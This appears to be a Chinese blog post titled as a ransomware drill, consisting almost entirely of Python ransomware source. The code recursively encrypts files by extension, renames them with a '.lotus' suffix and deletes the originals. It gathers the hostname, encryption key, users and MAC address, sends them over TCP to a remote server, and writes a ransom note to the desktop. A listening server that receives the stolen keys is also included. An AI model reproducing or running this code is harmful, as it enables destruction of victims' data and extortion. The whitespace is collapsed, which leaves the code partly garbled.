勒索病毒演练实践

# 在受害目录及其子目录中查找并加密指定类型的文件    def find_and_encrypt_files(self):        encrypted_files = []        for root, _, files in os.walk(self.directory):            for file in files:                if any(file.endswith(ext) for ext in self.file_extensions):                    file_path = os.path.join(root, file)                    encrypted_file_path = self.encrypt_file(file_path)                    encrypted_files.append(encrypted_file_path)                    print(f"Encrypted and saved file: {encrypted_file_path}")        return encrypted_files    # 执行文件加密，并删除源文件    def encrypt_file(self, file_path):        fernet = Fernet(self.key)        with open(file_path, 'rb') as file:            original = file.read()        encrypted = fernet.encrypt(original)

        encrypted_file_path = file_path + ".lotus"        with open(encrypted_file_path, 'wb') as encrypted_file:            encrypted_file.write(encrypted)

        os.remove(file_path)        return encrypted_file_path

  # 获取当前活跃用户的信息    def get_active_users(self):        try:            command = 'whoami   ' if os.name == 'nt' else 'who'            output = subprocess.check_output(command, shell=True)            return output.decode(errors='ignore')        except subprocess.CalledProcessError:            return "Unable to fetch active users"        # 获取当前设备的MAC地址    def get_mac_address(self):        mac_num = hex(uuid.getnode()).replace('0x', '').upper()        mac_num = mac_num.zfill(12)        mac = ':'.join(mac_num[i: i + 2] for i in range(0, 12, 2))        return mac  # 收集受害设备的信息，以字典的形式返回  def collect_data(self):        return {            'hostname': socket.gethostname(),            'key': self.key,            'active_users': self.get_active_users(),            'mac_address': self.get_mac_address()        }        def send_data_to_server(self):        data = self.collect_data()        print(data)        self.send_to_server(json.dumps(data))    # 创建一个TCP连接，将数据编码后发送到指定的服务器地址和端口        def send_to_server(self, data):        try:            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:                s.connect((self.server_host, self.server_port))                s.sendall(data.encode())        except:            quit(0)         # 桌面生成勒索信    def create_readme(self):        desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')        readme_path = os.path.join(desktop_path, 'Readme.txt')        with open(readme_path, 'w') as file:            file.write("我是勒索信内容")        print('created Readme :)')   

 def start(self):        # 创建一个TCP套接字 绑定主机和端口        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.server.bind((self.host, self.port))        self.server.listen(5)        logging.info(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}.{Style.RESET_ALL}")        print(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}{Style.RESET_ALL}")

        try:            while True:                connection, address = self.server.accept()                logging.info(f"Connection established from {address}.")                print(f"Connection established from {address}")                # 创建一个新线程来处理客户端请求                client_thread = threading.Thread(target=self.handle_client, args=(connection, address))                client_thread.start()        except KeyboardInterrupt:            logging.info("Shutting down the server.")            print("Server shut down")        finally:            self.server.close()